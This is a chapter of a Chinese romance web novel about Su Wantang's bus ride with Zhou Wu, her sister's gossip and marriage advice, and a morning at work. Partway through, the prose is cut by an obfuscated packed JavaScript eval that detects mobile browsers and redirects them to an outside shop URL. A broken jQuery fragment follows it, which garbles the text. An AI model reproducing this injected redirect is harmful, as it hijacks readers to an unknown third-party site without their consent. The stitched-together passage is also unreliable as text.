十月份天不热但也不冷,两人穿的都是一件薄薄的衬衣,苏晚棠能清晰的感知到背后揽着她的那双手臂的肌肉鼓起的弧度和透过衣物传过来的热量,那么的烫。
这些认知让她如触电般腾的一下从他怀里跳出来,苏晚棠侧过身体不敢和他对视。
前方站在车门口的售票员还在喊,“后面的杵那里干啥,还上不上车了?”
苏晚棠逃跑似的赶紧跟上。
周戊看着她的背影,垂在身侧的手微微握了握,仿佛那触觉还停留在手掌中,轻咳了两声,长腿一迈紧跟在苏晚棠身后。
苏晚棠从售票员那里买了票往车里走的时候,发现她妈身旁已经坐了人了,此时正朝她招手,“刚刚怎么回事?”她站到前面一点了,光顾着跟别人挤去了,没管她,等她发现后面的事的时候又到她买票了,等她买好票事情都被那个司机解决了。
苏晚棠含糊道,“没事,就是有人插队。”
“行吧,往后面走,后面还有座位。”
苏晚棠点点头,车里位置坐得差不多了,只剩最后面四个位置了,零零散散都坐了人,不是靠窗位置坐了人就是过道的位置有人,只有最后面两个位置都空着,她走过去在靠窗的位置坐下。
拿钱买票的时候,老张前面的周戊从裤兜里掏了几次都没把钱掏出来,售票员就先给了他票让他先进来。
老张看着仅余的三个位置,一个是刚刚外面跟他们起冲突的高个男人里面,那位置估计他也进不去明显是这人给车门口那个矮个男人占的,一个是苏晚棠的外面,还有一个位置上可能是被人用鞋子踩过上面全是乱糟糟的鞋印。
老张看了看车门口数钱给售票员的周戊,迟疑了一下,他还是去了那个脏兮兮的位置。
一直看着对着窗外发呆的苏晚棠感觉到旁边座椅往下塌陷,她下意识看过去,然后就这样和他的视线对上。
苏晚棠眨了眨眼睛,像平常一样和他说话,“刚刚谢谢你。”
周戊盯着她的眼睛看了好一会才叹口气道,“这么客气做什么。”
苏晚棠,“话说你力气还挺大的,你平时看着挺温和的,刚刚那一副“要打就上,不打就滚”的架势看着还挺唬人。”
周戊往后一仰靠在椅背上,对她低低笑道,“我力气一直都挺大的,有时间让你试试?”
试试?
怎么试?
打架吗?
那就算他力气小她也打不过他啊,男人力气再小,也天生比大多数女人力气大。
不过苏晚棠还是点头,“好啊!”
她的回应却是引来他的低笑。
她很想问他笑什么,车却是慢慢晃起来,山间的弯道多,路又不好走,摇摇晃晃的,晃得她头晕。
她坐车好的地方就是车开起来就能睡着,不然铁定晕车。
她没再理他,在座椅上调整了一下姿势,靠在椅子上闭上眼睛睡觉。
汽车晃悠悠在山间路上行驶,车里慢慢安静下来,身侧的人好一阵没动静了,周戊靠在车椅上的头微微向窗边侧看过去。
视线里的她仰靠在椅凳上,眼睛紧闭,睫毛纤长又卷翘,嘴巴微张,耷拉在胸口前的发尾随着她的呼吸一高一低的起伏着,是熟睡了的状态。
周戊有些意外,这样的环境下,她竟然能睡着。
就这样盯着她看了好一会,他突然觉得自己任重而道远啊!
……
在外面玩了几天,刚到筒子楼的家时,苏晚棠还有点不习惯。
这里没有外婆家那可以让一群小孩嬉闹奔跑的泥土院子,只有几个几丈宽的楼道,就那点位置还又占了一半的空地弄了个厨房出来,现在从门口到楼道厨房之间就更窄了,只容得下两个左右的成年人过。
而且楼道使用还不能超出一定的位置,不然就会收获邻居指桑骂槐的脏话!
在外婆家,只要不下雨,没事的时候搬个凳子坐在院子玩看看蓝天、看看草地也还是很不错的!
这里别说看蓝天了,太阳都不一定照得进来,不过别的不说,这里干净是真的比乡下干净,光这一条就是其他比不上的。
刚跨进门,背篓都还没放下,苏晚棠就听她妈问她姐,“你爸呢?好点了没有?”
“跟苏文去厂里检查机器去了,你们走的那天他就好得差不多了。”苏晚竹把沐沐放到地上。
张兰珍听他这样说放心多了,回到家就闲不住,又开始忙里忙外的。
苏晚棠倒是对另一个事比较好奇,她捏了捏跑过来抱着她小腿的沐沐的脸蛋,“哎姐,刚刚我在楼道看见505的人在搬东西,咋回事,真要搬家了啊,之前不是说不搬吗?”
505是胡蓝他们家的房子,之前因为她哥有本事去商业局当了个领导,老早就听说要搬去那个独立还有院子的房子,快毕业那段时间胡蓝还来跟她炫耀过,结果一年多了都没搬成,现在又突然要搬。
苏晚竹瞬间来了精神,“啧,这几天你们出去了没看到热闹,就那个胡蓝她哥胡锁好像是被哪个领导家的女儿看上了,然后就要跟他媳妇离婚,这几天天天被他媳妇娘家人过来闹。”
“啊?不是孩子都生了吗?还要离婚啊!”
“这男人要跟你离,孩子生了又如何照样离。”
“那个嫂子她同意吗?”
“肯定不同意啊!胡锁他在部队那段时间他媳妇在家里可是给他又是生了个孩子,又是照顾爹妈的,现在好不容易熬出头了哪里那么容易就跟他离。幸好那时候他们结的是军婚,领了证的,不然现在胡嫂子就算不同意那又如何,他该离还是得离,当牛做马几年什么都得不到。”
苏晚棠想起了和她相亲的江国从,“为什么他们都那样?稍微成功了一点,第一件事就是把陪他一起吃苦的妻子换掉。”
“这些男人就是既没有责任也没有道德,换媳妇说白了不就是为了掩盖他们过去的卑微和落魄吗?从某种层面来说,他们的媳妇见证了他们的不体面,那可不得把她们换掉。”
“所以啊这挑男人也是门学问,你看我跟你姐夫,他没比我厉害到哪里去,顶多就是他在面粉厂做着技术活,工资比我高点。其他的,你看他家,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666783|206520||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还比不上咱家,你看他敢跟我甩脸不?”
苏晚棠点头,姐夫确实都没跟姐姐红过脸。
苏晚棠突然问,“各自的家庭也要算进去吗?”
“那当然了!你看你姐夫他妈平时再怎么磋磨我那也只是动动嘴皮子,也不敢真动手,不就是怕咱家嘛!”苏晚竹抓紧给妹妹传递经验,“我跟你说,你找的时候男方比咱家低但也不能太低,不然你嫁过去还得三天两头的担心今天的粮食能不能吃饱,这种可是千万要不得。”
“就像姐夫一样有个稳定收入的工作,家庭背景跟咱俩差不多,不高也不低?”甩掉脑子里那些不切实际的,苏晚棠觉得徐组长就是最符合的。
“诶对!”
“就是这样,跟你说这些就是怕你被那些无所事事嘴又会说的男的骗了,你可得睁大了眼睛,别傻乎乎的,被骗了都不知道。”
苏晚棠眨了眨眼睛,她好像接触的男人都没有她姐说的那种,最高的还是她们最怕的那种县委工作的。
“怎么回事,今天怎么突然对这些这么感兴趣?”
“我不是一直都挺感兴趣的吗?你哪次来我没问你。”苏晚棠又转回前面的话题,“那胡嫂子这事怎么解决的?”
苏晚竹,“能怎么解决,现在就是她娘家人过来闹看能不能弄到点补偿了,不过看胡家这架势婚要离补偿估计也难拿!”
就这样,楼道里搬东西的动静一直持续到大家都吹灯睡觉了才歇下来……
第二天快到百货大楼上班的路上遇到况琳琳拉着她一边走,一边激动的说,“小棠,听说下周有市里文工团来咱们临城演出!”
“?”
“你从哪里听说的?”今天不是刚刚开工吗?她又是从哪里知道的!
“刚刚来的路上啊!我听她们都在讨论诶!”
苏晚棠:“……”
她走了这么远的路怎么就没听到一点呢!难道这就是她们之间的区别?
“来就来了,你这么激动干嘛?”
“哎呀,你不懂,听说文工团的不论男的女的都很好看,到时候肯定有很多极品男人,到时候我们不是有眼福了!”
她又说,“天天上班很无聊的。”
苏晚棠无奈,好吧,这是她没想到的。
“徐组长,早啊!”况琳琳突然朝她背后摆手。
苏晚棠转头,也跟着点头打招呼,“徐组长早。”
对面徐军手里拿着包子和油条,“早啊。”然后他看了看四周来来往往的人群,手里的东西怎么都递不出去。
况琳琳左右看了看,突然问苏晚棠,“小棠还没吃早饭吧?”
苏晚棠,“吃了啊!”又抱怨似的,“今天早上我妈煮了好多粥,硬要我们吃完,我现在都感觉早上吃的东西还卡在嗓子眼。”说完还应景的打了一个嗝,虽然话糙但理不糙。
徐军刚想递出去的东西又收了回来,刚好到了楼梯口处,他尴尬地朝她们笑笑,“那我先上去了,”
况琳琳恨铁不成钢的看着她。
苏晚棠不解地问她,“怎么了?”